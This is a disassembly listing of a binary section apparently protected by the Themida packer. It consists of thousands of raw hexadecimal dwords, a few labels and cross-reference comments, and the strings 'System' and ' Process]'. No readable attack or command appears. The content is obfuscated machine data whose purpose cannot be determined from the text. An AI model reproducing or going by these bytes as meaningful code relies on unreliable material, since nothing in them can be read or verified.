710CC681h, 8B660000h, 1C19BADAh dd 0F88B0000h, 0B95836FFh, 38C1FC0Fh, 9D4BE881h, 0CA8B765Fh dd 0DEE4E881h, 8E81BE8h, 85000000h, 2097C836h, 0BB6FA6EFh dd 2589D7E5h, 0BFF0815Bh, 81074FDAh, 7154A4F7h, 68F5060h dd 3830F51h, 80000000h, 835B46EBh, 0EA8104EEh, 1, 26850Fh dd 8E80000h, 0F1000000h, 4B02ED8h, 0B9363CF5h, 20074368h dd 26E95Bh, 83780000h, 0AE91B490h, 2DEBFC5Eh, 7726A59Ch dd 38D0Fh, 0F7800000h, 0FF7AE920h, 0ECBEFFFFh, 0D7D1544Dh dd 2A16AE8h, 0C2E38D8Dh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 2E1EE9C3h, 0B178BEBBh dd 7E976h, 0FA1B0000h, 9AFB914Bh, 718D8900h, 6A07E41Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 2764C355h, 85C7BF69h, 7E42DA1h, 5954h, 8E9h dd 201EA300h, 1EB8FD6Ch, 0B985C7AFh, 7E422h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0B87C357h, 23699D09h, 0B5FF07E4h, 7E42BF1h dd 95FFC18Bh, 7E43061h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 4CC35646h, 6AA9DC78h, 4195FF00h, 8B07E40Eh dd 591AEBC0h, 85F4CBE0h, 3BFFA1B1h, 5A4984E2h, 2B3858Eh dd 272884E3h, 56EC796Dh, 898D8D5Dh, 6007E9C3h, 718D8961h dd 307E41Bh, 0E4020DBDh, 0A185C707h, 0E407E42Dh, 6A00005Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 66E7C357h, 0A68F781h, 22B985C7h, 7E4h, 0B5FF0000h dd 7E41D49h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0F5C35242h, 0D67D9C65h, 330AD733h, 0E423FD9Dh dd 6195FF07h, 8B07E430h, 0FF006AF1h, 0E40E4195h, 0EBC08B07h dd 530E1E7Fh, 0C8C5B238h, 0AFB719DCh, 64BE4DFEh, 71145E16h dd 68B84739h, 0D0A33DF2h, 0B5A850FFh, 63E8D690h, 0E283C274h dd 0E3680FFCh, 0B196F32Ah, 0F8267C6Ch, 1F3CAC58h, 7088DAF2h dd 7CF1FF37h, 6B157375h, 0E6822636h, 6AD008E3h, 8D954A39h dd 0F30996FBh, 0F300173Fh, 423FB884h, 0A3F7BEDEh, 6A4A8C12h dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 26678CC5h, 27D266A1h dd 708F7DB7h, 10D8F314h, 1D9A13D8h, 29BEBF6Ch, 0F0FC63BDh dd 4E871A3h, 78943503h, 0FE457058h, 83068587h, 31788558h dd 0D3E8F1E4h, 1FEC05EAh, 1150884Fh, 3E443282h, 314518B6h dd 63455F99h, 31453624h, 0F21F1566h, 1511BC69h, 1501B49Dh dd 314520C8h, 0F2177766h, 0E6C42017h, 7B36FEB6h, 31460B25h dd 0F8C45366h, 8CC6A292h, 36A13BB4h, 20C13ACCh, 3E453566h dd 314531B7h, 0D3FF5399h, 3258DC98h, 0E7CE3566h, 0F568B0BEh dd 3E253270h, 3145374Dh, 0BA245566h, 57D554C9h, 5715C212h dd 0A161BA72h, 0F54AB0EBh, 312F32DAh, 3146DDCFh, 6F6535CCh dd 45CC6BA5h, 75C43117h, 315E31BDh, 670335CCh, 0A5F27DA5h dd 265D7F39h, 0CEF23ABAh, 3147B5C3h, 0FBCF3566h, 851A8C63h dd 35CC4BB4h, 0F5F08BE8h, 0A4BA2052h, 36A122EEh dd 0D91035F3h, 314535CFh, 6C866846h, 356159BAh, 35617118h dd 314535D4h, 0B4866023h, 43A4667Eh, 314ADCC9h, 33C935CCh dd 0D00BA210h, 0A7A2D054h, 0D70519C4h, 8F236C7Dh, 0F1CE563Ch dd 314539DAh, 0A2664999h, 19451358h, 8BDC82D5h, 0C0F8B6EAh dd 3142D18Ah, 8CC63CB9h, 36A13C53h, 615C4133h, 8985BECAh dd 314531B6h, 253CB0EFh, 0ACC832D7h, 36A3DC69h, 691EE633h dd 387088E5h, 454532D7h, 8916658Eh, 314531B6h, 253CB0EFh dd 0ACC832D7h, 36A3D346h, 691EE633h, 8C037BD9h, 0F9CE534Dh dd 312FF512h, 3146DD9Bh, 6E653566h, 4DCC6AF0h, 75C431BDh dd 315031E8h, 66023566h, 0B17916F0h, 0BCBDCF5Ch, 0D8812251h dd 0BC96BE61h, 0D8E1BCB6h, 0E1BACC9Eh, 0D91635A6h, 31453565h dd 6A866E13h, 35616910h, 3561714Dh, 3145357Fh, 6A866670h dd 8370813Dh, 3E853E4Ch, 314548E2h, 3143DC33h, 0C42D3599h dd 0C3E91374h, 7EA2A8EBh, 611732D7h, 68CFFC19h, 31468D95h dd 312F3566h, 3146DD63h, 69653599h, 75CC6D0Fh, 75C43142h dd 315E3117h, 61053599h, 7999FC0Fh, 0C5E5015Ch, 33CD3A2Bh dd 0BA453599h, 8823553Fh, 0BA23BCB8h, 0D2BA54C0h, 0D91335F3h dd 314535CFh, 6F866B46h, 356141BAh, 35617118h, 314535DAh dd 35866320h, 0B74A411Ch, 3145359Fh, 0A42DA4Dh, 0ACC861B3h dd 36ACF12Ch, 6CACB5CBh, 0B8C0B892h, 0CE42DCC2h, 3E853EE3h dd 3145AA1Dh, 61455FCCh, 3145368Eh, 0F21D1533h, 1501BCC1h dd 1501B4C8h, 31452F62h, 0F2157533h, 0F1A3D4E6h, 3E18916Eh dd 314538EFh, 3140DD33h, 0D1B03599h, 5177041Bh, 0ACC86F07h dd 36A17AD4h, 31453A71h, 2EC15DCCh, 0AFB72E2Ch, 6981AF84h dd 0E24DB9C1h, 31453C25h, 0FCAE6966h, 4B4397A9h, 891A0D40h dd 314535CDh, 0D913350Ch, 31453530h, 6F866BB9h, 35614145h dd 356171E7h, 31453527h, 278663DFh, 312FD633h, 3146DD33h dd 6C653533h, 5DCC685Ah, 75C431E8h, 31533142h, 64003533h dd 0B548625Ah, 0F561A841h, 312F328Fh, 3146DD64h, 6E653599h dd 4DCC6A0Fh, 75C43142h, 31523117h, 66023599h, 987A60Fh dd 0C6CE628Dh, 0B8C0B86Ch, 5B42DC3Dh, 32AD66CCh, 11453566h dd 0B81EF668h, 0B04111C5h, 29411188h, 72453566h, 628DF660h dd 0C916D36Bh, 3E15E533h, 314536EBh, 0FAFA3A33h, 0BA2355C3h dd 0D0C4531Fh, 3A24BCC5h, 25C13AF3h, 0BC453599h, 0D50AD251h dd 2EFC5361h, 31468D29h, 0D2BA3599h, 728A82C3h, 808EBE00h dd 3CF8B870h, 0BC42DC5Dh, 0D882FF41h, 6D388D61h, 0B476BF78h dd 36A1178Ch, 0D884FAE7h, 0F12CACC8h, 0B5CB36ACh, 0B8926CACh dd 0DCC2B8C0h, 3EE3CE42h, 0AA1D3E85h, 5E98345h, 0C08BA4F3h dd 8BF9EF8Ah, 34BE66C3h, 8BC08B95h, 0F1BD83FEh, 7E413h dd 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h, 47Ah, 0EED8589h dd 9D8D07E4h, 7E6EA57h, 585BD3FFh, 935BD83h, 740007E4h dd 0B8535017h, 47Ah, 0EED8589h, 9D8D07E4h, 7E6E6F8h, 585BD3FFh dd 0CE9h, 27C86600h, 0FFAA1ECDh, 0EC7C928Ah, 55006A6Bh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0F8795140h, 897E0B5h, 0FE952h, 0FCBB0000h, 9223ED56h dd 423B1F7Bh, 0E9C2EA82h, 0F605A1Eh, 0BA66DEBFh, 8B61ACB6h dd 848D8DC0h, 6A07E9C9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FF7C357h, 68Ah, 8C0F00h dd 1000000h, 0E41B199Dh, 718D8907h, 6A07E41Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 89DDC357h, 0E430BD9Dh, 59BD8907h, 6607E42Ch, 85C7F98Bh dd 7E42DA1h, 71CCh, 1860Fh, 8BF90000h, 0B985C7D8h, 7E422h dd 53000000h, 0D818D31h, 0FF5807E4h, 0E406A5B5h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 98A30569h, 503C4F08h, 8D89196Fh, 7E40881h, 306195FFh dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 2A5011C3h, 941858Bh, 0F98B07E4h, 95FF006Ah db 41h, 0Eh, 0E4h byte_5DEE0F db 7 ; DATA XREF: Themida_:00582D0Co ; Themida_:0058320Co dd 3DEBC08Bh, 6C2E7C34h, 0E22247D3h, 0D194B4E5h, 2B7EC397h dd 75175A38h, 1400621Ch, 0C8CB3443h, 0FB487312h, 34BA42C3h dd 7644A220h, 30AB7891h, 6CE54A29h, 0B0B8BF50h, 35824FAEh dd 0CD6965B0h, 6AC08B20h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 4B89C353h, 0F5E0E37Eh dd 5BBA66C0h, 0F1BD832Fh, 7E413h, 0BD830975h, 7E40935h dd 50197400h, 0B8C08B53h, 3FCh, 14798589h, 9D8D07E4h, 7E6E9F0h dd 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h, 3FCh, 14798589h dd 9D8D07E4h, 7E6E6DFh, 585BD3FFh, 66D2BF0Fh, 8BD2B8BAh dd 12E9C0h, 9E3C0000h, 711324D9h, 6DDC97Eh, 2F46E8E3h dd 8FB77926h, 2015BD83h, 0F0107E4h, 6C84h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F8F920Fh, 0C8Ah, 68F0F00h, 0F000000h, 86h, 0BD83F900h dd 7E40E2Dh, 2E850F00h, 66000000h, 0F26E381h, 15DBD83h dd 0F0007E4h, 4F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 3A9E9F3h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 4B68C3h, 0F000000h, 0B060DBB7h, 0A7D88137h, 61468467h dd 0BE6459Fh, 4B98F7E0h, 0C097F087h, 4D407B24h, 2713E7A4h dd 91979A97h, 0C097F3A0h, 3CED024h, 0E4DB794Bh, 0E4D3710Dh dd 0C097EA80h, 3C6B142h, 9AA7D665h, 0CFA2E10Fh, 0C097F7CCh dd 41F19024h, 0A14F39CBh, 472C20F6h, 29D16857h, 0C097F4AFh dd 28C1F04Bh, 0C097F093h, 9E54AE68h, 0C4B384ADh, 0C4B3B493h dd 0C097F01Dh, 0D154A6C2h, 0C0971817h, 41CAF021h, 295C877Dh dd 95979A4Fh, 0C097F3CCh, 3CAD012h, 0E4FB7954h, 0E4D37180h dd 0C097E446h, 3C2B521h, 91979AE5h, 0C097F3A0h, 3CED024h dd 0E4DB794Bh, 0E4D3710Dh, 0C097E780h, 3C6B142h, 0ABAF1BCh dd 1C261Bh, 397D712Eh, 0C625608Ah, 191C9642h, 0CFC34699h dd 3EB3BC85h, 28C5F028h, 0C097F022h, 9A54AAB0h, 0C4B3A4C1h dd 0C4B3B4A5h, 0C097F007h, 3254A24Bh, 41CF0C30h, 9C4B1998h dd 0C29BF511h, 0C0FDF090h, 0C0941819h, 99B7F024h, 8C1EA9D1h dd 8416F42Dh, 0C08FF4A0h, 91D6F042h, 0EC088FE2h, 171C629Ah dd 9A607A1Ah, 0CF6BF8AFh, 0C097F396h, 7A407009h, 3CDF7BE2h dd 28C5F028h, 0C097F022h, 9A54AAB0h, 0C4B3A4C1h, 0C4B3B4A5h dd 0C097F009h, 0B854A24Bh, 8DDA77F1h, 4AFB8AC9h, 0DB7571FCh dd 789BEE5Dh, 0C097F049h, 28C6F04Eh, 0C097F011h, 9954A929h dd 0C4B3BC0Dh, 0C4B3B4C3h, 0C097F03Bh, 0A154A1D1h, 10D71629h dd 4E98DB36h, 0C097F017h, 38F69069h, 0B22DA0E5h, 499CCCECh dd 0B16D42Dh, 0AD0822CCh, 0AA4E7C2Eh, 0C37FA024h, 0E097F012h dd 49CF3351h, 4193D4C0h, 0D793D406h, 8097F021h, 660D33C0h dd 16125A4h, 0DE12FF20h, 9097F013h, 0C09C7E06h, 0C67EF084h dd 2C97F042h, 7188A12Fh, 0AACEAAABh, 0C37FA148h, 0E097F024h dd 49CE334Bh, 4193D445h, 0D993D4C0h, 8197F042h, 577E3370h dd 1FE84CDBh, 0C097E0A0h, 4630A424h, 0A5D1FE09h, 485D0CA6h dd 0A66F0444h, 0C611FF09h, 0CF97F021h, 0C097F015h, 0F917AB48h dd 0E612FF4Ch, 0A097F013h, 41F10383h, 0A1C99664h, 399689C9h dd 0C0970FA0h, 42987090h, 0C097F145h, 28C5F04Eh, 0C097F011h dd 9A54AA29h, 0C4B3A40Dh, 0C4B3B4C3h, 0C097F03Bh, 0ED54A2D2h dd 92344725h, 41F197B0h, 7D0B0F8h, 295D048Ch, 0C097F183h dd 90979A42h, 0C097F3C9h, 3CFD090h, 0E4D37910h, 0E4D37120h dd 0C097EA16h, 3C7B009h, 8C27F8Ch, 2976810Eh, 0C097F0C6h dd 28C6F0FAh, 0C097F04Bh, 9954A904h, 0C4B3BC9Bh, 0C4B3B488h dd 0C097F090h, 8C54A103h, 36AC03A0h, 4E7ECEB6h, 0AA97F048h dd 0C37FA124h, 0E097F012h, 49CE3350h, 4193D4C8h, 0DB93D406h dd 8197F021h, 23D233C1h, 0AA8168B9h, 39C1FE6Bh, 0A66FA948h dd 3F9C898Ah, 0C0CC748Bh, 0C0FDF042h, 0C0941876h, 9FB7F090h dd 0BC1EAF8Bh, 8416F400h, 0C083F436h, 97D0F009h, 45505347h dd 0C77E3AB6h, 0C097F020h, 28C5F0FAh, 0C097F04Bh, 9A54AA04h dd 0C4B3A49Bh, 0C4B3B488h, 0C097F09Ch, 5F54A200h, 826F9038h dd 0C092799Fh, 0B42DF048h, 29A7A82Ch, 0C097F017h, 5E01C692h dd 28F7B8B7h, 0C097F044h, 1BE595Fh, 0D27E54EBh, 6497F048h dd 0C6A2892h, 0B7AFCEB4h, 5E40E795h, 6D5E5E06h, 4F98A9F6h dd 0C097F027h, 0C097729Fh, 79F6F048h, 8D8A2C61h, 1006759Fh dd 7D1AF7E0h, 0C77E3E18h, 0C7E30879h, 946FF11h, 0AA621BD7h dd 0C37FA048h, 0E097F024h, 49CF334Ah, 4193D44Dh, 0DB93D4C0h dd 8097F042h, 56BB3371h, 0FF58F394h, 0C0FD589Bh, 0C0941876h dd 9AB7F012h, 941EAACAh, 8416F4A0h, 0C08BF466h, 92D5F021h dd 0F07B0353h, 2DBC5928h, 602C34C2h, 0CF8D3938h, 0C097EB8Bh dd 41F19084h, 292E5D99h, 0C097F02Eh, 0D9B8AFB7h, 3B7EB58h dd 0D0AFA135h, 0A1A85E32h, 0E0824D8Ah, 0CF96F760h, 0C09793C6h dd 27647121h, 43822AA1h, 2499DDF5h, 4598F023h, 0C097F042h dd 28C2F063h, 0C097F087h, 9D54AD62h, 0C4B39CA8h, 0C4B3B411h dd 0C097F052h, 0D554A561h, 5A0C6444h, 7D14EAA9h, 0C773F1D9h dd 8813FF42h, 0AA97F021h, 0C37FA390h, 0E097F048h, 49CC337Fh dd 4193D44Eh, 0D693D44Dh, 8397F084h, 0AE313311h, 875C702Fh dd 0C0973479h, 96979A48h, 0C097F3CCh, 3C9D012h, 0E4E37957h dd 0E4D37180h, 0C097EA46h, 3C1B621h, 0B16817Ch, 4312A88Fh dd 24B7E599h, 4598F115h, 0C097F062h, 28C2F0EEh, 0C097F041h dd 9D54AD01h, 0C4B39C19h, 0C4B3B4C9h, 0C097F032h, 0FE54A557h dd 0E92C99ADh, 9DA75E13h, 7A5405C8h, 0AACD5B7Ch, 0C0979479h dd 97979A48h, 0C097F3CCh, 3C8D012h, 0E4EB7956h, 0E4D37180h dd 0C097EC46h, 3C0B721h, 53B0CEDFh, 3057D4F0h, 0C0861985h dd 0E18AF012h, 0E51CD668h, 0F9E4A9CDh, 55BE5563h, 9D0CBC4Bh dd 0F981F10h, 28C7F022h, 0C097F027h, 9854A832h, 0C4B3B480h dd 0C4B3B405h, 0C097F05Fh, 7C54A061h, 4A66F5D7h, 0BFE14ABCh dd 0C52A7D0Dh, 4D9019D9h, 2947AE84h, 9C8A4883h, 45A48B78h dd 0C773EE80h, 29563FBBh, 8A2C6179h, 6759F8Dh, 1AF7E010h dd 7E3E187Dh, 0E30879C7h, 46FF11C7h db 9 byte_5DF501 db 83h, 0E9h, 5 ; DATA XREF: Themida_:005838A0o dd 0BD83A4F3h, 7E9CAF4h, 8D0D7400h, 0E44FE78Dh, 1B807h dd 0E1FF0000h, 53006A40h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 309640FCh, 11E9E8EAh dd 20000000h, 27BB337Ah, 0EBB3FC46h, 0FD301F4Ah, 626FD3D4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0CCC35646h dd 4CFF5C78h, 8322E99Eh, 6A2DE8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 12BC30C3h, 0DE8B557Fh dd 35BAD0B6h, 8B6F5209h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0F606885h, 38Ch, 0FBB70F00h dd 11E9h, 0F30DB400h, 4F9B87E3h, 5B4148A9h, 0DC8896A8h dd 0BA61FAD9h, 7BE59F51h, 0BD83D68Bh, 7E413F1h, 83097500h dd 0E40935BDh, 19740007h, 0C08B5350h, 3FCB8h, 0ED858900h dd 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h, 35BD8358h, 7E409h dd 53501774h, 3FCB8h, 0ED858900h, 8D07E40Eh, 0E6E6F89Dh dd 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0FE43D60Dh, 0AF291F79h, 0FD08B66h dd 28Fh, 6AD78B00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 8182C357h, 22255AF6h, 8B661908h dd 8DC08BDFh, 0E9D2F38Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 6BCB353Fh dd 5C3A205Ch, 1415BD01h, 8D2907E4h, 7E426B9h, 1B718D89h dd 0BD8B07E4h, 7E425C1h, 2DA185C7h, 657807E4h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0EC5E1EC3h, 0DB0591EDh, 664E90DDh, 379CF781h, 22B985C7h dd 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0FF2E9FC3h, 0E41E8DB5h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 2FA7A37Ah, 6195FFF1h, 6A07E430h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0CAA0C352h dd 0BF6656F4h, 6A5F6537h, 4195FF00h, 8B07E40Eh, 9B1CEBC0h dd 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h, 1B0C63C0h dd 0BFD691ACh, 0E9D0BBEEh, 170h, 571542D8h, 85586880h dd 4DA44CACh, 0A7958AFh, 53725634h, 0A71567Fh, 537A5850h dd 3A51717Eh, 5303247Eh, 0D1F87074h, 9DFCC452h, 5244B683h dd 53351480h, 128h, 0 dd 4, 2 dup(0) dd 35h, 0 dd 8, 0 aSystem db 'System',0 aProcess db ' Process]',0 align 10h dd 41h dup(0) dd 1820E9h, 0D6A66800h, 22E907E9h, 68FFFB8Ah, 7E9D7CFh dd 0FB8A18E9h, 0D88F68FFh, 0EE907E9h, 68FFFB8Ah, 7E9D973h dd 0FB8A04E9h, 0DAB368FFh, 0FAE907E9h, 68FFFB89h, 7E9DC2Ah dd 0FB89F0E9h, 0DD0868FFh, 0E6E907E9h, 68FFFB89h, 7E9DDBAh dd 0FB89DCE9h, 0E06468FFh, 0D2E907E9h, 68FFFB89h, 7E9E12Bh dd 0FB89C8E9h, 0E21268FFh, 0BEE907E9h, 68FFFB89h, 7E9E294h dd 0FB89B4E9h, 0E44C68FFh, 0AAE907E9h, 68FFFB89h, 7E9E9E0h dd 0FB89A0E9h, 0EB2668FFh, 96E907E9h, 0FDFFFB89h, 0B3C8FB5Dh dd 687DB0A6h, 182D60ECh, 0CCE11440h, 5C90C387h, 0E565EE7Fh dd 98BA9DB2h, 4A065065h, 0FB530217h, 16F963C8h, 23FF63E6h dd 0D92E2FE3h, 0A188D27Ch, 0A8AF98B2h, 120579AAh, 0DAC10B43h dd 9A8DD179h, 344891B9h, 15D533FFh, 3295C6ABh, 0C20C042Ah dd 8DC3937Ah, 0A504475Ch, 9AA723F9h, 0D3BA0256h, 3588CC82h dd 0F9A02050h, 0DF101D23h, 0F99F96CAh, 113B1923h, 0D77FDACDh dd 36195E93h, 9DB24549h, 5E8E99D1h, 2D9E5Ah, 0BBA20000h dd 382B399h, 7EC8C0E6h, 0F9979C9Bh, 87D27F23h, 534286CFh dd 23F9981Fh, 2D5BF487h, 12431346h, 5EAA227Ah, 114495Ah dd 0D9480000h, 0A188D27Ch, 0F15BF9B3h, 0E0115AADh, 0A5DA796Ch dd 147D2317h, 0B8FC454Dh, 7ABE90C5h, 3680CE87h, 93C3A6EEh dd 981C15F4h, 0F476A68Bh, 66731C15h, 0F1981B52h, 0C9FA3AD9h dd 0C1A8F066h, 0A4D4B993h, 0A91C1623h, 0ED566B9Ch, 7F1C1628h dd 20245437h, 1C291C16h, 0CB83D2EBh, 7CD28398h, 58FDE438h dd 94BFB2F6h, 303C6DB6h, 69E1721Eh, 0A5D2AF55h, 0B2FBFDDAh dd 16035668h, 172B1F34h, 95C6DD95h, 977D381Bh, 74F23FAh dd 0FA6EF424h, 0BBECF923h, 6EDC7724h, 0C4EAF225h, 6EB8E8CBh dd 233323FAh, 3A19C62Dh, 3079CC10h, 76BA9DE7h, 1B2BE158h dd 76DDC40Eh, 0C78CA1D4h, 7A8C9183h, 0F418C2A6h, 1564F7h dd 7DDB7F00h, 3224354Ah, 0E26AEAFFh, 96BE9AAFh, 45054E63h dd 70FDDE12h, 1F3467E3h, 0D2E71A38h, 8499CC84h, 0E54A7DD1h dd 6468987Bh, 0B16523FFh, 0C89178B0h, 0EF74A8Eh, 0BED70848h dd 6D82B595h, 0D41C66E8h, 158EC1F1h, 80B1BE1Ch, 0C0E6A21Dh dd 62DAECFDh, 3B8425D3h, 9B0F0EF1h, 0FF0C23F9h, 5A8A6DB5h dd 5F23F998h, 0BEAD2152h, 23F9988Ah, 74F05FF2h, 5A5EA924h dd 0E643h, 0F5604700h, 0D9A92859h, 3A8ED27Ch, 94D0353h dd 0E76C85B6h, 75071963h, 96FADBB7h, 7F66A9Bh, 1C15D29Eh dd 0D303E62Eh, 2B1C15C9h, 0A7D6E770h, 41178DCh, 0B39BBAD3h dd 0BEF80A80h, 697B14E6h, 0B1F559FCh, 0CBE4155Eh, 2C80C48Ah dd 0E3F1145h, 9AE4EC02h, 0FA62FCB7h, 0F0D7AF23h, 3F0BD6F0h dd 0DA5083CCh, 9798B1C8h, 0D188CFF7h, 0A5EE4185h, 7F466874h dd 48324EDCh, 0EBF50963h, 0D7ED6115h, 91B65AEh, 3C42B3CCh dd 32ACDD8Eh, 0FD5303EAh, 203566B9h, 2BE09CCBh, 664D97A4h dd 152A5DEDh, 0F91A0C3Eh, 9BC2A5C1h, 143B7A77h, 0B2A80000h dd 0FB5E73A6h, 4113285Bh, 95C3D80Bh, 0DC778CBFh, 0A4073B6Eh dd 5D90BA99h, 10430F48h, 0C2F55BFBh, 73A6A8ADh, 91C1A40Eh dd 8E23FF65h, 7AD9D9DAh, 0CD889DD0h, 0D9D34E81h, 3A8ED27Ch dd 4994C328h, 563F839Eh, 0B90C5000h, 68E66F88h, 18342035h dd 0DA74E1D4h, 4704FBA7h, 0FCDF2921h, 23F9E4F5h, 0E965F0D7h dd 9E1421B8h, 83C5E013h, 0D1B8001Bh, 0B4E4C983h, 0B90C83C5h dd 596F7BACh, 79240751h, 6E1467E3h, 11371D61h, 5FECCF19h dd 3D1B8769h, 0B4FFF56h, 0E3F087B8h, 0AAA2B299h, 68E21366h dd 7BDAD481h, 0E1578AD3h, 1555DFAh, 0BCD5064Fh, 66C3B599h dd 5AD23AE9h, 137B3936h, 0F2680000h, 3B1E3366h, 81D3E81Bh dd 0D58398CBh, 1C374C7Fh, 0E4C7FB2Eh, 1D50FA59h, 0D0034F08h dd 82B59BBBh, 3366E86Dh, 518164CEh, 4E23FF67h, 7CD9999Ah dd 0E82C2432h, 22084C95h, 0D7BA040Ch, 23F9BAD8h, 957CC6D3h dd 0FB4E92C4h, 35267CAh, 6BB3074Bh, 0BB104023h, 0D23F9h dd 0F9BAEB1Bh, 0B2E3F023h, 3E8880A6h, 0E38E645Bh, 0D87D642Bh dd 19492C76h, 161C238Eh, 3441D809h, 0FC5203EAh, 0E2A1B4C9h dd 0ED4A0D44h, 2165AEDDh, 7EC7BBCDh, 0E11131CDh, 22C6CEFEh dd 75BECB1Ch, 1A163844h, 99D6EDD0h, 0CCD9240Ch, 94BA9B82h dd 8FF0634Ah, 71F9FB93h, 2859A2B5h, 0A9A5B0C5h, 0C1697F65h dd 87CFB892h, 0E93285C9h, 2C0F579Fh, 23FA2AFCh, 0AEC3F401h dd 2BDE4257h, 6A554754h, 0B2C2A7F7h, 1297918Eh, 0E4C0000h dd 5702174Ah, 9DB7CCFFh, 0F1677CAFh, 381B3063h, 0ABDF12h dd 134163Dh, 0B4E76BECh, 6699B79Fh, 174A0451h, 356548B2h dd 3A23FF68h, 7AD98586h, 0E12A2630h, 8880A6AEh, 0ADC85B3Eh dd 1E823F9h, 63B6FA54h, 4A8E9B32h, 0B485FE57h, 291C1A27h dd 0ACC1F43Dh, 7B61A5A9h, 30135D55h, 2BDE3411h, 0CABD010Eh dd 6280C48Ch, 0B78CA486h, 59FFE8D5h, 12ADB7FBh, 0B550503Dh dd 46084D9Ah, 0EDE50B13h, 0A82DC0A3h, 0E5F223FAh, 0A7A7AEA1h dd 1738DF63h, 7CD48269h, 86988068h, 34657834h, 0C00A0628h dd 0A0D17BD9h, 4B04326h, 0A9902BDEh, 0D970A1ABh, 3C2399CCh dd 0EE07381Ch, 0B69DE767h, 1A6DB1A1h, 528675E9h, 931C15E8h dd 71E4014Eh, 0C095AADDh, 42644A8Eh, 0CE19FC46h, 0C123F9FBh dd 0D8A0D0B3h, 909D23F9h, 8C9E1447h, 23DFED7h, 0F2A2D34Dh dd 630F2116h, 0CD1760F6h, 0E445FBEAh, 9DB69D2Bh, 0D8E57CADh dd 0CA80D362h, 0C5639786h, 0DDF31C22h, 0B4A48BD5h, 12F56FA0h dd 240C9903h, 0E717FA08h, 0E423FA72h, 5D448ED7h, 0E2356F8h dd 0D0C30747h, 0E0D5C783h, 3CBAC39Eh, 11571B18h, 0CE8C0000h dd 1742578Ah, 5DF70C3Fh, 0B1A7BCEFh, 0F85B70A3h, 0C0EB1F52h dd 4174D67Dh, 0F4272B2Ch, 0A6D977DFh, 578AC491h, 75A588F2h dd 7A23FF68h, 7AD9C5C6h, 40279DD0h, 0F20B3C18h, 0B4A7EB63h dd 3469ADA1h, 0D28360EFh, 0E5B5497Ch, 825DBAA3h, 1BCh dd 77CD981h, 8669D629h, 1C167F56h, 0B6324653h, 0DA1E67E0h dd 96E06EE7h, 0A2E1AAAFh, 0DEA8D1h, 1F72B6FFh, 6D838BEEh dd 0F5381B65h, 0D723F9CBh, 0B9EA66F0h, 0E2D11522h, 23F9C8AEh dd 0A0CC8316h, 5A5EA5C8h, 3A6Fh, 0C0E66E00h, 0DC253128h dd 1B024A92h, 333183Eh, 81C158Fh, 0F58FE5Bh, 97CAC9DEh dd 8D6523F9h, 57AF3059h, 7BBF080Bh, 0FA2F588Ch, 222DC023h dd 5E021646h, 0E3155Ah, 78140000h, 8F1D4D30h, 7B751C15h dd 97F8D1CBh, 0F4253299h, 0F0D37ADBh, 1C1646C0h, 1D67B0BDh dd 0EA2E1E36h, 0AAF361F7h, 0CAB10579h, 88A7F88Bh, 1A2502Dh dd 0E56E87B8h, 9C518164h, 414E1C15h, 9D9CAEF8h, 0C9E0F358h dd 410D4831h, 579AAFDh, 6B404312h, 86CA8C6Eh, 0ECDBEF42h dd 1A64AD6Dh, 0EB24AB08h, 159BD808h, 0B4C8D51Ch, 5182BCD1h dd 0E36BEADDh, 0AA369FB0h, 9EB71C15h, 53757DB0h, 532A0D57h dd 5823FC89h, 391A014Bh, 8AC9DE11h, 82ACDCBFh, 0A4B123FCh dd 8E62695Bh, 7EA2BAC1h, 0FE081h, 1570300h, 0B6A0B9CEh dd 66E66E83h, 1A3A1E33h, 0C981D2E7h, 0F4796296h, 0A3B8EB5Fh dd 566B9EB4h, 81D5000h, 69CE014Dh, 6AEC1CFFh, 3DF123FFh dd 0D07AD93Ch, 0B6CD889Dh, 0EA13983Dh, 0AFE22BE0h, 327CD934h dd 92E52921h, 69B10549h, 997ED682h, 1C158E69h, 2C0F5966h dd 1C158EFCh, 0AAC3F401h dd 5B70A3ABh, 0AEA2B4FAh, 153B2165h, 